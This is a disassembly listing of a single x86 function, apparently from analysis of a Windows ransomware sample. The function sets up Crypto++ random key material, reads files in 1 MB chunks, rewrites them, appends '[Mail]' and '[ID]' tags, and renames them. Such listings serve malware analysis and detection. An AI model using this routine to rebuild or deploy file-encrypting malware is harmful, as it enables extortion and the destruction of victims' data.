Function at 0x40f010
Capabilities:
Contain obfuscated stackstrings
Move file
Read file on windows
Write file on windows

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x493ea3
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ecx
mov eax, 0x200594
call fcn.004528c0
mov eax, dword [0x4c5114]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
and dword [ebp - 4], 0
push ecx
lea eax, [ebx + 8]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x200140]
call fcn.0040a06a
lea eax, [ebp - 0x200528]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x200140]
call fcn.00403cdb
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x200110]
xor esi, esi
push eax
mov dword [ebp - 0x200100], esi
mov dword [ebp - 0x2000fc], esi
call fcn.00408571
lea ecx, [ebp - 0x200528]
mov byte [ebp - 4], 8
call fcn.0040848e
lea ecx, [ebp - 0x2000e0]
call fcn.0040dd5b
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x2000e0]
cmp dword [ebp - 0x2000cc], 0x10
mov eax, dword [ebp - 0x2000d0]
cmovae ecx, dword [ebp - 0x2000e0]
add eax, ecx
cmp dword [ebp - 0x2000cc], 0x10
lea ecx, [ebp - 0x2000e0]
cmovae ecx, dword [ebp - 0x2000e0]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x200158]
call fcn.0040a33b
lea ecx, [ebp - 0x200098]
mov byte [ebp - 4], 0xa
call fcn.0040dc94
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x200098]
cmp dword [ebp - 0x200084], 0x10
mov eax, dword [ebp - 0x200088]
cmovae ecx, dword [ebp - 0x200098]
add eax, ecx
cmp dword [ebp - 0x200084], 0x10
lea ecx, [ebp - 0x200098]
cmovae ecx, dword [ebp - 0x200098]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x200170]
call fcn.0040a33b
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x200098]
cmp dword [ebp - 0x200084], 0x10
mov eax, dword [ebp - 0x200088]
cmovae ecx, dword [ebp - 0x200098]
add eax, ecx
cmp dword [ebp - 0x200084], 0x10
lea ecx, [ebp - 0x200098]
cmovae ecx, dword [ebp - 0x200098]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x2001c8]
call fcn.0040a33b
push 0x4afd54
lea edx, [ebp - 0x200110]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x44]
call fcn.0040a3b4
pop ecx
lea ecx, [ebp - 0x200158]
mov byte [ebp - 4], 0xe
push ecx
mov ecx, eax
call fcn.00408555
push eax
lea ecx, [ebp - 0x200528]
call fcn.00405a02
push str._Mail_
lea edx, [ebp - 0x200528]
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x2005a8]
call fcn.0040a37b
pop ecx
lea ecx, [ebx + 0x38]
mov byte [ebp - 4], 0x10
push ecx
mov ecx, eax
call fcn.00408555
push eax
lea ecx, [ebp - 0x200548]
call fcn.00405a02
push str._ID__
lea edx, [ebp - 0x200548]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x200590]
call fcn.0040a37b
pop ecx
lea ecx, [ebx + 0x20]
mov byte [ebp - 4], 0x12
push ecx
mov ecx, eax
call fcn.00408555
push eax
lea ecx, [ebp - 0x200560]
call fcn.00405a02
push 0x4afd30
lea edx, [ebp - 0x200560]
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x200578]
call fcn.0040a37b
pop ecx
lea ecx, [ebp - 0x200170]
mov byte [ebp - 4], 0x14
push ecx
mov ecx, eax
call fcn.00408555
push eax
lea ecx, [ebp - 0x200128]
call fcn.00405a02
lea ecx, [ebp - 0x200578]
call fcn.0040848e
lea ecx, [ebp - 0x200560]
call fcn.0040848e
lea ecx, [ebp - 0x200590]
call fcn.0040848e
lea ecx, [ebp - 0x200548]
call fcn.0040848e
lea ecx, [ebp - 0x2005a8]
call fcn.0040848e
lea ecx, [ebp - 0x200528]
call fcn.0040848e
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x1c
call fcn.0040848e
push 0x80
lea eax, [ebp - 0x200308]
push esi
push eax
call fcn.00469420
pop ecx
lea ecx, [ebp - 0x200308]
call fcn.004042e2
push 0x20
lea eax, [ebp - 0x7c]
mov byte [ebp - 4], 0x1d
push eax
lea ecx, [ebp - 0x200308]
call fcn.0041bef0
push 0x10
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x200308]
call fcn.0041bef0
push 0xc0
lea eax, [ebp - 0x200448]
push esi
push eax
call fcn.00469420
add esp, 0xc
lea ecx, [ebp - 0x200448]
call fcn.004049b5
push 0x10
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x1e
push eax
push 0x20
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x200448]
call fcn.0041ce30
mov eax, dword [ebx + 0x68]
xorps xmm0, xmm0
sub eax, 0x1400000
movlpd qword [ebp - 0x200510], xmm0
mov dword [ebp - 0x200504], eax
mov eax, dword [ebx + 0x6c]
sbb eax, esi
cmp dword [ebx + 0x1c], 8
mov dword [ebp - 0x2004fc], eax
lea eax, [ebx + 8]
cmovae eax, dword [ebx + 8]
push 0x4afd9c
push eax
call fcn.00474141
mov edi, dword [ebp - 0x20050c]
mov esi, dword [ebp - 0x200510]
pop ecx
pop ecx
mov dword [ebp - 0x200500], eax
cmp edi, dword [ebp - 0x2004fc]
jg 0x40f447
jl 0x40f3a4
cmp esi, dword [ebp - 0x200504]
ja 0x40f447
push 0
push edi
push esi
push eax
call fcn.00474bcc
push dword [ebp - 0x200500]
lea eax, [ebp - 0x200080]
push 0x100000
push 1
push eax
call fcn.004747e1
add esp, 0x20
lea eax, [ebp - 0x200080]
lea ecx, [ebp - 0x200440]
push 0x100000
push eax
lea eax, [ebp - 0x100080]
push eax
call fcn.0043ee00
push 0
push edi
push esi
push dword [ebp - 0x200500]
call fcn.00474bcc
push dword [ebp - 0x200500]
lea eax, [ebp - 0x100080]
push 0x100000
push 1
push eax
call fcn.00473ea3
add esp, 0x20
cmp edi, 0x96
jl 0x40f433
jg 0x40f421
test esi, esi
je 0x40f433
mov esi, dword [ebp - 0x200504]
mov edi, dword [ebp - 0x2004fc]
add esi, 0xa
adc edi, 0
mov eax, dword [ebp - 0x200500]
add esi, 0xa00000
adc edi, 0
jmp 0x40f38a
push eax
call fcn.00471bd3
and dword [ebp - 0x2000b8], 0
lea esi, [ebp - 0x7c]
push 8
pop ecx
lea edi, [ebp - 0x5c]
mov dword [ebp - 0x2000b4], 0xf
rep movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x2c]
mov byte [ebp - 0x2000c8], 0
lea edi, [ebp - 0x3c]
mov dword [esp], 0x4afd58
movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x2000c8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00408700
xor edi, edi
mov byte [ebp - 4], 0x1f
mov edx, edi
cmp dword [ebp - 0x2000b4], 0x10
lea eax, [ebp - 0x2000c8]
mov cl, byte [ebp + edx - 0x5c]
cmovae eax, dword [ebp - 0x2000c8]
mov byte [eax + edx], cl
inc edx
cmp edx, 0x30
jl 0x40f494
push 0x40
lea eax, [ebp - 0x2001b0]
push edi
push eax
call fcn.00469420
add esp, 0xc
lea ecx, [ebp - 0x2001b0]
push 1
call fcn.00404b5d
push 0x38
lea eax, [ebp - 0x200200]
mov byte [ebp - 4], 0x20
push edi
push eax
call fcn.00469420
add esp, 0xc
push 0x3c
call fcn.004513e3
mov esi, eax
pop ecx
mov dword [ebp - 0x2004fc], esi
push 0x3c
push edi
push esi
mov byte [ebp - 4], 0x21
call fcn.00469420
pop ecx
pop ecx
mov ecx, esi
call fcn.00404985
push eax
push ecx
lea eax, [ebx + 0x50]
mov byte [ebp - 4], 0x20
push eax
lea ecx, [ebp - 0x200200]
call fcn.004041e7
lea eax, [ebp - 0x200200]
mov byte [ebp - 4], 0x22
push eax
lea ecx, [ebp - 0x2001ac]
call fcn.00418300
push 0x80
lea eax, [ebp - 0x200388]
push edi
push eax
call fcn.00469420
pop ecx
lea ecx, [ebp - 0x200388]
call fcn.004042e2
push 0x4c
lea eax, [ebp - 0x200250]
mov byte [ebp - 4], 0x23
push edi
push eax
call fcn.00469420
mov eax, dword [ebp - 0x2001a8]
lea ecx, [ebp - 0x2001a8]
add esp, 0xc
mov eax, dword [eax + 4]
add eax, ecx
lea ecx, [ebp - 0x200250]
push eax
call fcn.00404df5
xor eax, eax
mov dword [ebp - 0x20009c], 0xf
mov dword [ebp - 0x2000a0], eax
mov byte [ebp - 0x2000b0], al
push 0x38
push eax
lea eax, [ebp - 0x200288]
mov byte [ebp - 4], 0x25
push eax
call fcn.00469420
add esp, 0xc
push 0x4c
call fcn.004513e3
mov esi, eax
pop ecx
mov dword [ebp - 0x2004fc], esi
push 0x4c
push 0
push esi
mov byte [ebp - 4], 0x26
call fcn.00469420
add esp, 0xc
push 0x10
call fcn.004513e3
pop ecx
mov ecx, eax
mov dword [ebp - 0x200504], ecx
xor eax, eax
mov byte [ebp - 4], 0x27
mov edi, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x2000b0]
push eax
call fcn.004054c9
push eax
lea eax, [ebp - 0x200250]
mov byte [ebp - 4], 0x26
push eax
lea eax, [ebp - 0x200388]
mov ecx, esi
push eax
call fcn.004040e7
push eax
push ecx
lea eax, [ebp - 0x2000c8]
mov byte [ebp - 4], 0x25
push eax
lea ecx, [ebp - 0x200288]
call fcn.004041e7
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x28
push eax
lea ecx, [ebp - 0x200140]
call fcn.00403d66
push ecx
lea ecx, [ebp - 0x200528]
mov byte [ebp - 4], 0x29
push ecx
mov ecx, eax
call fcn.00409f77
lea eax, [ebp - 0x200528]
mov byte [ebp - 4], 0x2a
push eax
lea eax, [ebp - 0x2000f8]
push 0x4afd8c
push eax
call fcn.00409e46
add esp, 0xc
lea ecx, [ebp - 0x200528]
call fcn.004085da
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x2d
call fcn.0040848e
push 0xb0
xor esi, esi
lea eax, [ebp - 0x2004f8]
push esi
push eax
call fcn.00469420
cmp dword [ebx + 0x1c], 8
lea eax, [ebx + 8]
cmovae eax, dword [ebx + 8]
lea ecx, [ebp - 0x2004f8]
push eax
call fcn.004068b0
mov byte [ebp - 4], 0x2e
mov eax, dword [ebp - 0x2004f8]
mov eax, dword [eax + 4]
cmp dword [ebp + eax - 0x2004ec], esi
jne 0x40f73e
cmp dword [ebp - 0x2000e4], 0x10
lea eax, [ebp - 0x2000f8]
push esi
push dword [ebp - 0x2000e8]
cmovae eax, dword [ebp - 0x2000f8]
lea ecx, [ebp - 0x2004f8]
push eax
call fcn.004070b2
cmp dword [ebp - 0x20009c], 0x10
lea eax, [ebp - 0x2000b0]
push esi
push dword [ebp - 0x2000a0]
cmovae eax, dword [ebp - 0x2000b0]
lea ecx, [ebp - 0x2004f8]
push eax
call fcn.004070b2
push esi
push 2
push 0x4afdc0
lea ecx, [ebp - 0x2004f8]
call fcn.004070b2
lea ecx, [ebp - 0x2004f8]
call fcn.00406847
cmp dword [ebp - 0x200114], 8
lea ecx, [ebp - 0x200128]
lea eax, [ebx + 8]
cmovae ecx, dword [ebp - 0x200128]
cmp dword [ebx + 0x1c], 8
push ecx
cmovae eax, dword [ebx + 8]
push eax
call fcn.00473f87
pop ecx
pop ecx
lea ecx, [ebp - 0x2004f8]
call fcn.00404c04
lea ecx, [ebp - 0x2000f8]
call fcn.004085da
lea ecx, [ebp - 0x200288]
call fcn.004053cd
lea ecx, [ebp - 0x2000b0]
call fcn.004085da
lea ecx, [ebp - 0x200244]
call fcn.00404cb2
mov esi, vtable.CryptoPP::NameValuePairs.0
lea ecx, [ebp - 0x200388]
mov edi, vtable.CryptoPP::AutoSeededRandomPool.0
mov dword [ebp - 0x200208], esi
mov dword [ebp - 0x200388], edi
call fcn.00404342
lea ecx, [ebp - 0x200200]
call fcn.004053cd
lea ecx, [ebp - 0x2001b0]
call fcn.00404cb2
lea ecx, [ebp - 0x2000c8]
mov dword [ebp - 0x200174], esi
call fcn.004085da
lea ecx, [ebp - 0x200448]
call fcn.00404a9b
lea ecx, [ebp - 0x200308]
mov dword [ebp - 0x200308], edi
call fcn.00404342
lea ecx, [ebp - 0x200128]
call fcn.0040848e
lea ecx, [ebp - 0x2001c8]
call fcn.0040848e
lea ecx, [ebp - 0x200170]
call fcn.0040848e
lea ecx, [ebp - 0x200098]
call fcn.004085da
lea ecx, [ebp - 0x200158]
call fcn.0040848e
lea ecx, [ebp - 0x2000e0]
call fcn.004085da
lea ecx, [ebp - 0x200110]
call fcn.0040848e
lea ecx, [ebp - 0x200140]
call fcn.0040848e
mov ebx, dword [ebp - 0x14]
lea ecx, [ebx + 8]
call fcn.0040848e
lea ecx, [ebx + 0x20]
call fcn.0040848e
lea ecx, [ebx + 0x38]
call fcn.0040848e
lea ecx, [ebx + 0x50]
call fcn.004085da
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0045112d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret